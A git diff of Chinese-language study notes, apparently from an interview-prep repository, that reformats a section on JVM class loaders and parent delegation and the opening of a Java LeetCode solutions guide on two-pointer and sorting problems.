+这里的相等，包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true，也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
 
-## 类加载器分类
+## 类加载器分类
 
-从 Java 虚拟机的角度来讲，只存在以下两种不同的类加载器：
+从 Java 虚拟机的角度来讲，只存在以下两种不同的类加载器：
 
-- 启动类加载器（Bootstrap ClassLoader），这个类加载器用 C++ 实现，是虚拟机自身的一部分；
+- 启动类加载器（Bootstrap ClassLoader），这个类加载器用 C++ 实现，是虚拟机自身的一部分；
 
-- 所有其他类的加载器，这些类由 Java 实现，独立于虚拟机外部，并且全都继承自抽象类 java.lang.ClassLoader。
+- 所有其他类的加载器，这些类由 Java 实现，独立于虚拟机外部，并且全都继承自抽象类 java.lang.ClassLoader。
 
-从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
+从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
 
-- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
+- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
 
-- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
+- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
 
-- 应用程序类加载器（Application ClassLoader）这个类加载器是由 AppClassLoader（sun.misc.Launcher$AppClassLoader）实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值，因此一般称为系统类加载器。它负责加载用户类路径（ClassPath）上所指定的类库，开发者可以直接使用这个类加载器，如果应用程序中没有自定义过自己的类加载器，一般情况下这个就是程序中默认的类加载器。
+- 应用程序类加载器（Application ClassLoader）这个类加载器是由 AppClassLoader（sun.misc.Launcher$AppClassLoader）实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值，因此一般称为系统类加载器。它负责加载用户类路径（ClassPath）上所指定的类库，开发者可以直接使用这个类加载器，如果应用程序中没有自定义过自己的类加载器，一般情况下这个就是程序中默认的类加载器。
 
-## 双亲委派模型
+## 双亲委派模型
 
 应用程序都是由三种类加载器相互配合进行加载的，如果有必要，还可以加入自己定义的类加载器。
 
-下图展示的类加载器之间的层次关系，称为类加载器的双亲委派模型（Parents Delegation Model）。该模型要求除了顶层的启动类加载器外，其余的类加载器都应有自己的父类加载器。这里类加载器之间的父子关系一般通过组合（Composition）关系来实现，而不是通过继承（Inheritance）的关系实现。
+下图展示的类加载器之间的层次关系，称为类加载器的双亲委派模型（Parents Delegation Model）。该模型要求除了顶层的启动类加载器外，其余的类加载器都应有自己的父类加载器。这里类加载器之间的父子关系一般通过组合（Composition）关系来实现，而不是通过继承（Inheritance）的关系实现。
 
-<img src="index_files/class_loader_hierarchy.png" width="600"/>
+<div align="center"> <img src="pics/class_loader_hierarchy.png" width="600"/> </div><br>
 
-### 1. 工作过程
+### 1. 工作过程
 
 一个类加载器首先将类加载请求传送到父类加载器，只有当父类加载器无法完成类加载请求时才尝试加载。
 
-### 2. 好处
+### 2. 好处
 
-使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系，从而使得基础类得到统一。
+使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系，从而使得基础类得到统一。
 
-例如 java.lang.Object 存放在 rt.jar 中，如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中，程序可以编译通过。由于双亲委派模型的存在，所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高，这是因为 rt.jar 中的 Object 使用的是启动类加载器，而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高，那么程序中所有的 Object 都是这个 Object。
+例如 java.lang.Object 存放在 rt.jar 中，如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中，程序可以编译通过。由于双亲委派模型的存在，所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高，这是因为 rt.jar 中的 Object 使用的是启动类加载器，而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高，那么程序中所有的 Object 都是这个 Object。
 
-### 3. 实现
+### 3. 实现
 
-以下是抽象类 java.lang.ClassLoader 的代码片段，其中的 loadClass() 方法运行过程如下：先检查类是否已经加载过，如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException，此时尝试自己去加载。
+以下是抽象类 java.lang.ClassLoader 的代码片段，其中的 loadClass() 方法运行过程如下：先检查类是否已经加载过，如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException，此时尝试自己去加载。
 
 ```java
-public abstract class ClassLoader {
-    // The parent class loader for delegation
-    private final ClassLoader parent;
+public abstract class ClassLoader {
+    // The parent class loader for delegation
+    private final ClassLoader parent;
 
-    public Class<?> loadClass(String name) throws ClassNotFoundException {
-        return loadClass(name, false);
-    }
+    public Class<?> loadClass(String name) throws ClassNotFoundException {
+        return loadClass(name, false);
+    }
 
-    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
-        synchronized (getClassLoadingLock(name)) {
-            // First, check if the class has already been loaded
-            Class<?> c = findLoadedClass(name);
-            if (c == null) {
-                try {
-                    if (parent != null) {
-                        c = parent.loadClass(name, false);
-                    } else {
-                        c = findBootstrapClassOrNull(name);
-                    }
-                } catch (ClassNotFoundException e) {
-                    // ClassNotFoundException thrown if class not found
-                    // from the non-null parent class loader
-                }
+    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
+        synchronized (getClassLoadingLock(name)) {
+            // First, check if the class has already been loaded
+            Class<?> c = findLoadedClass(name);
+            if (c == null) {
+                try {
+                    if (parent != null) {
+                        c = parent.loadClass(name, false);
+                    } else {
+                        c = findBootstrapClassOrNull(name);
+                    }
+                } catch (ClassNotFoundException e) {
+                    // ClassNotFoundException thrown if class not found
+                    // from the non-null parent class loader
+                }
 
-                if (c == null) {
-                    // If still not found, then invoke findClass in order
-                    // to find the class.
-                    c = findClass(name);
-                }
-            }
-            if (resolve) {
-                resolveClass(c);
-            }
-            return c;
-        }
-    }
+                if (c == null) {
+                    // If still not found, then invoke findClass in order
+                    // to find the class.
+                    c = findClass(name);
+                }
+            }
+            if (resolve) {
+                resolveClass(c);
+            }
+            return c;
+        }
+    }
 
-    protected Class<?> findClass(String name) throws ClassNotFoundException {
-        throw new ClassNotFoundException(name);
-    }
+    protected Class<?> findClass(String name) throws ClassNotFoundException {
+        throw new ClassNotFoundException(name);
+    }
 }
 ```
 
-## 自定义类加载器实现
+## 自定义类加载器实现
 
-FileSystemClassLoader 是自定义类加载器，继承自 java.lang.ClassLoader，用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件（.class 文件），然后读取该文件内容，最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。
+FileSystemClassLoader 是自定义类加载器，继承自 java.lang.ClassLoader，用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件（.class 文件），然后读取该文件内容，最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。
 
-java.lang.ClassLoader 的 loadClass() 实现了双亲委派模型的逻辑，因此自定义类加载器一般不去重写它，但是需要重写 findClass() 方法。
+java.lang.ClassLoader 的 loadClass() 实现了双亲委派模型的逻辑，因此自定义类加载器一般不去重写它，但是需要重写 findClass() 方法。
 
 ```java
-public class FileSystemClassLoader extends ClassLoader {
+public class FileSystemClassLoader extends ClassLoader {
 
-    private String rootDir;
+    private String rootDir;
 
-    public FileSystemClassLoader(String rootDir) {
-        this.rootDir = rootDir;
-    }
+    public FileSystemClassLoader(String rootDir) {
+        this.rootDir = rootDir;
+    }
 
-    protected Class<?> findClass(String name) throws ClassNotFoundException {
-        byte[] classData = getClassData(name);
-        if (classData == null) {
-            throw new ClassNotFoundException();
-        } else {
-            return defineClass(name, classData, 0, classData.length);
-        }
-    }
+    protected Class<?> findClass(String name) throws ClassNotFoundException {
+        byte[] classData = getClassData(name);
+        if (classData == null) {
+            throw new ClassNotFoundException();
+        } else {
+            return defineClass(name, classData, 0, classData.length);
+        }
+    }
 
-    private byte[] getClassData(String className) {
-        String path = classNameToPath(className);
-        try {
-            InputStream ins = new FileInputStream(path);
-            ByteArrayOutputStream baos = new ByteArrayOutputStream();
-            int bufferSize = 4096;
-            byte[] buffer = new byte[bufferSize];
-            int bytesNumRead;
-            while ((bytesNumRead = ins.read(buffer)) != -1) {
-                baos.write(buffer, 0, bytesNumRead);
-            }
-            return baos.toByteArray();
-        } catch (IOException e) {
-            e.printStackTrace();
-        }
-        return null;
-    }
+    private byte[] getClassData(String className) {
+        String path = classNameToPath(className);
+        try {
+            InputStream ins = new FileInputStream(path);
+            ByteArrayOutputStream baos = new ByteArrayOutputStream();
+            int bufferSize = 4096;
+            byte[] buffer = new byte[bufferSize];
+            int bytesNumRead;
+            while ((bytesNumRead = ins.read(buffer)) != -1) {
+                baos.write(buffer, 0, bytesNumRead);
+            }
+            return baos.toByteArray();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
 
-    private String classNameToPath(String className) {
-        return rootDir + File.separatorChar
-                + className.replace('.', File.separatorChar) + ".class";
-    }
+    private String classNameToPath(String className) {
+        return rootDir + File.separatorChar
+                + className.replace('.', File.separatorChar) + ".class";
+    }
 }
 ```
 
-# 参考资料
+# 参考资料
 
-- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
-- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
-- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
-[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
-- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
-- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
-- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
-- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
-- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
-- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
-- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
-- [深入探讨 Java 类加载器](https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html#code6)
-- [Guide to WeakHashMap in Java](http://www.baeldung.com/java-weakhashmap)
-- [Tomcat example source code file (ConcurrentCache.java)](https://alvinalexander.com/java/jwarehouse/apache-tomcat-6.0.16/java/org/apache/el/util/ConcurrentCache.java.shtml)
----bottom---CyC---
-![](index_files/ab701824-e308-4284-88b6-596cc606fadb.png)
-![](index_files/28ab96b4-82ea-4d99-99fb-b320f60d0a58.png)
-![](index_files/JNI-Java-Native-Interface.jpg)
-![](index_files/0635cbe8.png)
-![](index_files/a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg)
-![](index_files/902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg)
-![](index_files/e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg)
-![](index_files/c625baa0-dde6-449e-93df-c3a67f2f430f.jpg)
-![](index_files/22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg)
-![](index_files/81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg)
-![](index_files/08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg)
-![](index_files/278fe431-af88-4a95-a895-9c3b80117de3.jpg)
-![](index_files/62e77997-6957-4b68-8d12-bfd609bb2c68.jpg)
-![](index_files/4cf711a8-7ab2-4152-b85c-d5c226733807.png)
-![](index_files/9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png)
-![](index_files/f99ee771-c56f-47fb-9148-c0036695b5fe.jpg)
-![](index_files/32b8374a-e822-4720-af0b-c0f485095ea2.jpg)
-![](index_files/class_loader_hierarchy.png)
+- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
+- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
+- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
+[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
+- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
+- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
+- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
+- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
+- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
+- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
+- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
+- [深入探讨 Java 类加载器](https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html#code6)
+- [Guide to WeakHashMap in Java](http://www.baeldung.com/java-weakhashmap)
+- [Tomcat example source code file (ConcurrentCache.java)](https://alvinalexander.com/java/jwarehouse/apache-tomcat-6.0.16/java/org/apache/el/util/ConcurrentCache.java.shtml)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index a7564b1b..9310948f 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,363 +1,419 @@
-# 算法思想
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [算法思想](#算法思想)
+    * [双指针](#双指针)
+    * [排序](#排序)
+        * [快速选择](#快速选择)
+        * [堆排序](#堆排序)
+        * [桶排序](#桶排序)
+        * [荷兰国旗问题](#荷兰国旗问题)
+    * [贪心思想](#贪心思想)
+    * [二分查找](#二分查找)
+    * [分治](#分治)
+    * [搜索](#搜索)
+        * [BFS](#bfs)
+        * [DFS](#dfs)
+        * [Backtracking](#backtracking)
+    * [动态规划](#动态规划)
+        * [斐波那契数列](#斐波那契数列)
+        * [矩阵路径](#矩阵路径)
+        * [数组区间](#数组区间)
+        * [分割整数](#分割整数)
+        * [最长递增子序列](#最长递增子序列)
+        * [最长公共子序列](#最长公共子序列)
+        * [0-1 背包](#0-1-背包)
+        * [股票交易](#股票交易)
+        * [字符串编辑](#字符串编辑)
+    * [数学](#数学)
+        * [素数](#素数)
+        * [最大公约数](#最大公约数)
+        * [进制转换](#进制转换)
+        * [阶乘](#阶乘)
+        * [字符串加法减法](#字符串加法减法)
+        * [相遇问题](#相遇问题)
+        * [多数投票问题](#多数投票问题)
+        * [其它](#其它)
+* [数据结构相关](#数据结构相关)
+    * [链表](#链表)
+    * [树](#树)
+        * [递归](#递归)
+        * [层次遍历](#层次遍历)
+        * [前中后序遍历](#前中后序遍历)
+        * [BST](#bst)
+        * [Trie](#trie)
+    * [栈和队列](#栈和队列)
+    * [哈希表](#哈希表)
+    * [字符串](#字符串)
+    * [数组与矩阵](#数组与矩阵)
+    * [图](#图)
+        * [二分图](#二分图)
+        * [拓扑排序](#拓扑排序)
+        * [并查集](#并查集)
+    * [位运算](#位运算)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 双指针
+
+# 算法思想
+
+## 双指针
 
 双指针主要用于遍历数组，两个指针指向不同的元素，从而协同完成任务。
 
-**有序数组的 Two Sum**
+**有序数组的 Two Sum** 
 
-[Leetcode ：167. Two Sum II - Input array is sorted (Easy)](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/description/)
+[Leetcode ：167. Two Sum II - Input array is sorted (Easy)](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/description/)
 
 ```html
-Input: numbers={2, 7, 11, 15}, target=9
-Output: index1=1, index2=2
+Input: numbers={2, 7, 11, 15}, target=9
+Output: index1=1, index2=2
 ```
 
-题目描述：在有序数组中找出两个数，使它们的和为 target。
+题目描述：在有序数组中找出两个数，使它们的和为 target。
 
 使用双指针，一个指针指向值较小的元素，一个指针指向值较大的元素。指向较小元素的指针从头向尾遍历，指向较大元素的指针从尾向头遍历。
 
-- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
-- 如果 sum > target，移动较大的元素，使 sum 变小一些；
-- 如果 sum < target，移动较小的元素，使 sum 变大一些。
+- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
+- 如果 sum > target，移动较大的元素，使 sum 变小一些；
+- 如果 sum < target，移动较小的元素，使 sum 变大一些。
 
 ```java
-public int[] twoSum(int[] numbers, int target) {
-    int i = 0, j = numbers.length - 1;
-    while (i < j) {
-        int sum = numbers[i] + numbers[j];
-        if (sum == target) {
-            return new int[]{i + 1, j + 1};
-        } else if (sum < target) {
-            i++;
-        } else {
-            j--;
-        }
-    }
-    return null;
+public int[] twoSum(int[] numbers, int target) {
+    int i = 0, j = numbers.length - 1;
+    while (i < j) {
+        int sum = numbers[i] + numbers[j];
+        if (sum == target) {
+            return new int[]{i + 1, j + 1};
+        } else if (sum < target) {
+            i++;
+        } else {
+            j--;
+        }
+    }
+    return null;
 }
 ```
 
-**两数平方和**
+**两数平方和** 
 
-[633. Sum of Square Numbers (Easy)](https://leetcode.com/problems/sum-of-square-numbers/description/)
+[633. Sum of Square Numbers (Easy)](https://leetcode.com/problems/sum-of-square-numbers/description/)
 
 ```html
-Input: 5
-Output: True
-Explanation: 1 * 1 + 2 * 2 = 5
+Input: 5
+Output: True
+Explanation: 1 * 1 + 2 * 2 = 5
 ```
 
 题目描述：判断一个数是否为两个数的平方和。
 
 ```java
-public boolean judgeSquareSum(int c) {
-    int i = 0, j = (int) Math.sqrt(c);
-    while (i <= j) {
-        int powSum = i * i + j * j;
-        if (powSum == c) {
-            return true;
-        } else if (powSum > c) {
-            j--;
-        } else {
-            i++;
-        }
-    }
-    return false;
+public boolean judgeSquareSum(int c) {
+    int i = 0, j = (int) Math.sqrt(c);
+    while (i <= j) {
+        int powSum = i * i + j * j;
+        if (powSum == c) {
+            return true;
+        } else if (powSum > c) {
+            j--;
+        } else {
+            i++;
+        }
+    }
+    return false;
 }
 ```
 
-**反转字符串中的元音字符**
+**反转字符串中的元音字符** 
 
-[345. Reverse Vowels of a String (Easy)](https://leetcode.com/problems/reverse-vowels-of-a-string/description/)
+[345. Reverse Vowels of a String (Easy)](https://leetcode.com/problems/reverse-vowels-of-a-string/description/)
 
 ```html
-Given s = "leetcode", return "leotcede".
+Given s = "leetcode", return "leotcede".
 ```
 
 使用双指针指向待反转的两个元音字符，一个指针从头向尾遍历，一个指针从尾到头遍历。
 
 ```java
-private final static HashSet<Character> vowels = new HashSet<>(Arrays.asList('a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U'));
+private final static HashSet<Character> vowels = new HashSet<>(Arrays.asList('a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U'));
 
-public String reverseVowels(String s) {
-    int i = 0, j = s.length() - 1;
-    char[] result = new char[s.length()];
-    while (i <= j) {
-        char ci = s.charAt(i);
-        char cj = s.charAt(j);
-        if (!vowels.contains(ci)) {
-            result[i++] = ci;
-        } else if (!vowels.contains(cj)) {
-            result[j--] = cj;
-        } else {
-            result[i++] = cj;
-            result[j--] = ci;
-        }
-    }
-    return new String(result);
+public String reverseVowels(String s) {
+    int i = 0, j = s.length() - 1;
+    char[] result = new char[s.length()];
+    while (i <= j) {
+        char ci = s.charAt(i);
+        char cj = s.charAt(j);
+        if (!vowels.contains(ci)) {
+            result[i++] = ci;
+        } else if (!vowels.contains(cj)) {
+            result[j--] = cj;
+        } else {
+            result[i++] = cj;
+            result[j--] = ci;
+        }
+    }
+    return new String(result);
 }
 ```
 
-**回文字符串**
+**回文字符串** 
 
-[680. Valid Palindrome II (Easy)](https://leetcode.com/problems/valid-palindrome-ii/description/)
+[680. Valid Palindrome II (Easy)](https://leetcode.com/problems/valid-palindrome-ii/description/)
 
 ```html
-Input: "abca"
-Output: True
-Explanation: You could delete the character 'c'.
+Input: "abca"
+Output: True
+Explanation: You could delete the character 'c'.
 ```
 
 题目描述：可以删除一个字符，判断是否能构成回文字符串。
 
 ```java
-public boolean validPalindrome(String s) {
-    int i = -1, j = s.length();
-    while (++i < --j) {
-        if (s.charAt(i) != s.charAt(j)) {
-            return isPalindrome(s, i, j - 1) || isPalindrome(s, i + 1, j);
-        }
-    }
-    return true;
+public boolean validPalindrome(String s) {
+    int i = -1, j = s.length();
+    while (++i < --j) {
+        if (s.charAt(i) != s.charAt(j)) {
+            return isPalindrome(s, i, j - 1) || isPalindrome(s, i + 1, j);
+        }
+    }
+    return true;
 }
 
-private boolean isPalindrome(String s, int i, int j) {
-    while (i < j) {
-        if (s.charAt(i++) != s.charAt(j--)) {
-            return false;
-        }
-    }
-    return true;
+private boolean isPalindrome(String s, int i, int j) {
+    while (i < j) {
+        if (s.charAt(i++) != s.charAt(j--)) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**归并两个有序数组**
+**归并两个有序数组** 
 
-[88. Merge Sorted Array (Easy)](https://leetcode.com/problems/merge-sorted-array/description/)
+[88. Merge Sorted Array (Easy)](https://leetcode.com/problems/merge-sorted-array/description/)
 
 ```html
 Input:
-nums1 = [1,2,3,0,0,0], m = 3
-nums2 = [2,5,6],       n = 3
+nums1 = [1,2,3,0,0,0], m = 3
+nums2 = [2,5,6],       n = 3
 
-Output: [1,2,2,3,5,6]
+Output: [1,2,2,3,5,6]
 ```
 
 题目描述：把归并结果存到第一个数组上。
 
-需要从尾开始遍历，否则在 nums1 上归并得到的值会覆盖还未进行归并比较的值。
+需要从尾开始遍历，否则在 nums1 上归并得到的值会覆盖还未进行归并比较的值。
 
 ```java
-public void merge(int[] nums1, int m, int[] nums2, int n) {
-    int index1 = m - 1, index2 = n - 1;
-    int indexMerge = m + n - 1;
-    while (index1 >= 0 || index2 >= 0) {
-        if (index1 < 0) {
-            nums1[indexMerge--] = nums2[index2--];
-        } else if (index2 < 0) {
-            nums1[indexMerge--] = nums1[index1--];
-        } else if (nums1[index1] > nums2[index2]) {
-            nums1[indexMerge--] = nums1[index1--];
-        } else {
-            nums1[indexMerge--] = nums2[index2--];
-        }
-    }
+public void merge(int[] nums1, int m, int[] nums2, int n) {
+    int index1 = m - 1, index2 = n - 1;
+    int indexMerge = m + n - 1;
+    while (index1 >= 0 || index2 >= 0) {
+        if (index1 < 0) {
+            nums1[indexMerge--] = nums2[index2--];
+        } else if (index2 < 0) {
+            nums1[indexMerge--] = nums1[index1--];
+        } else if (nums1[index1] > nums2[index2]) {
+            nums1[indexMerge--] = nums1[index1--];
+        } else {
+            nums1[indexMerge--] = nums2[index2--];
+        }
+    }
 }
 ```
 
-**判断链表是否存在环**
+**判断链表是否存在环** 
 
-[141. Linked List Cycle (Easy)](https://leetcode.com/problems/linked-list-cycle/description/)
+[141. Linked List Cycle (Easy)](https://leetcode.com/problems/linked-list-cycle/description/)
 
 使用双指针，一个指针每次移动一个节点，一个指针每次移动两个节点，如果存在环，那么这两个指针一定会相遇。
 
 ```java
-public boolean hasCycle(ListNode head) {
-    if (head == null) {
-        return false;
-    }
-    ListNode l1 = head, l2 = head.next;
-    while (l1 != null && l2 != null && l2.next != null) {
-        if (l1 == l2) {
-            return true;
-        }
-        l1 = l1.next;
-        l2 = l2.next.next;
-    }
-    return false;
+public boolean hasCycle(ListNode head) {
+    if (head == null) {
+        return false;
+    }
+    ListNode l1 = head, l2 = head.next;
+    while (l1 != null && l2 != null && l2.next != null) {
+        if (l1 == l2) {
+            return true;
+        }
+        l1 = l1.next;
+        l2 = l2.next.next;
+    }
+    return false;
 }
 ```
 
-**最长子序列**
+**最长子序列** 
 
-[524. Longest Word in Dictionary through Deleting (Medium)](https://leetcode.com/problems/longest-word-in-dictionary-through-deleting/description/)
+[524. Longest Word in Dictionary through Deleting (Medium)](https://leetcode.com/problems/longest-word-in-dictionary-through-deleting/description/)
 
 ```
 Input:
-s = "abpcplea", d = ["ale","apple","monkey","plea"]
+s = "abpcplea", d = ["ale","apple","monkey","plea"]
 
 Output:
 "apple"
 ```
 
-题目描述：删除 s 中的一些字符，使得它构成字符串列表 d 中的一个字符串，找出能构成的最长字符串。如果有多个相同长度的结果，返回字典序的最小字符串。
+题目描述：删除 s 中的一些字符，使得它构成字符串列表 d 中的一个字符串，找出能构成的最长字符串。如果有多个相同长度的结果，返回字典序的最小字符串。
 
 ```java
-public String findLongestWord(String s, List<String> d) {
-    String longestWord = "";
-    for (String target : d) {
-        int l1 = longestWord.length(), l2 = target.length();
-        if (l1 > l2 || (l1 == l2 && longestWord.compareTo(target) < 0)) {
-            continue;
-        }
-        if (isValid(s, target)) {
-            longestWord = target;
-        }
-    }
-    return longestWord;
+public String findLongestWord(String s, List<String> d) {
+    String longestWord = "";
+    for (String target : d) {
+        int l1 = longestWord.length(), l2 = target.length();
+        if (l1 > l2 || (l1 == l2 && longestWord.compareTo(target) < 0)) {
+            continue;
+        }
+        if (isValid(s, target)) {
+            longestWord = target;
+        }
+    }
+    return longestWord;
 }
 
-private boolean isValid(String s, String target) {
-    int i = 0, j = 0;
-    while (i < s.length() && j < target.length()) {
-        if (s.charAt(i) == target.charAt(j)) {
-            j++;
-        }
-        i++;
-    }
-    return j == target.length();
+private boolean isValid(String s, String target) {
+    int i = 0, j = 0;
+    while (i < s.length() && j < target.length()) {
+        if (s.charAt(i) == target.charAt(j)) {
+            j++;
+        }
+        i++;
+    }
+    return j == target.length();
 }
 ```
 
-## 排序
+## 排序
 
-### 快速选择
+### 快速选择
 
-用于求解 **Kth Element** 问题，使用快速排序的 partition() 进行实现。
+用于求解  **Kth Element**  问题，使用快速排序的 partition() 进行实现。
 
-需要先打乱数组，否则最坏情况下时间复杂度为 O(N<sup>2</sup>)。
+需要先打乱数组，否则最坏情况下时间复杂度为 O(N<sup>2</sup>)。
 
-### 堆排序
+### 堆排序
 
-用于求解 **TopK Elements** 问题，通过维护一个大小为 K 的堆，堆中的元素就是 TopK Elements。
+用于求解  **TopK Elements**  问题，通过维护一个大小为 K 的堆，堆中的元素就是 TopK Elements。
 
-堆排序也可以用于求解 Kth Element 问题，堆顶元素就是 Kth Element。
+堆排序也可以用于求解 Kth Element 问题，堆顶元素就是 Kth Element。
 
-快速选择也可以求解 TopK Elements 问题，因为找到 Kth Element 之后，再遍历一次数组，所有小于等于 Kth Element 的元素都是 TopK Elements。
+快速选择也可以求解 TopK Elements 问题，因为找到 Kth Element 之后，再遍历一次数组，所有小于等于 Kth Element 的元素都是 TopK Elements。
 
-可以看到，快速选择和堆排序都可以求解 Kth Element 和 TopK Elements 问题。
+可以看到，快速选择和堆排序都可以求解 Kth Element 和 TopK Elements 问题。
 
-**Kth Element**
+**Kth Element** 
 
-[215. Kth Largest Element in an Array (Medium)](https://leetcode.com/problems/kth-largest-element-in-an-array/description/)
+[215. Kth Largest Element in an Array (Medium)](https://leetcode.com/problems/kth-largest-element-in-an-array/description/)
 
-题目描述：找到第 k 大的元素。
+题目描述：找到第 k 大的元素。
 
-**排序**：时间复杂度 O(NlogN)，空间复杂度 O(1)
+**排序** ：时间复杂度 O(NlogN)，空间复杂度 O(1)
 
 ```java
-public int findKthLargest(int[] nums, int k) {
-    Arrays.sort(nums);
-    return nums[nums.length - k];
+public int findKthLargest(int[] nums, int k) {
+    Arrays.sort(nums);
+    return nums[nums.length - k];
 }
 ```
 
-**堆排序**：时间复杂度 O(NlogK)，空间复杂度 O(K)。
+**堆排序** ：时间复杂度 O(NlogK)，空间复杂度 O(K)。
 
 ```java
-public int findKthLargest(int[] nums, int k) {
-    PriorityQueue<Integer> pq = new PriorityQueue<>(); // 小顶堆
-    for (int val : nums) {
-        pq.add(val);
-        if (pq.size() > k)  // 维护堆的大小为 K
-            pq.poll();
-    }
-    return pq.peek();
+public int findKthLargest(int[] nums, int k) {
+    PriorityQueue<Integer> pq = new PriorityQueue<>(); // 小顶堆
+    for (int val : nums) {
+        pq.add(val);
+        if (pq.size() > k)  // 维护堆的大小为 K
+            pq.poll();
+    }
+    return pq.peek();
 }
 ```
 
-**快速选择**：时间复杂度 O(N)，空间复杂度 O(1)
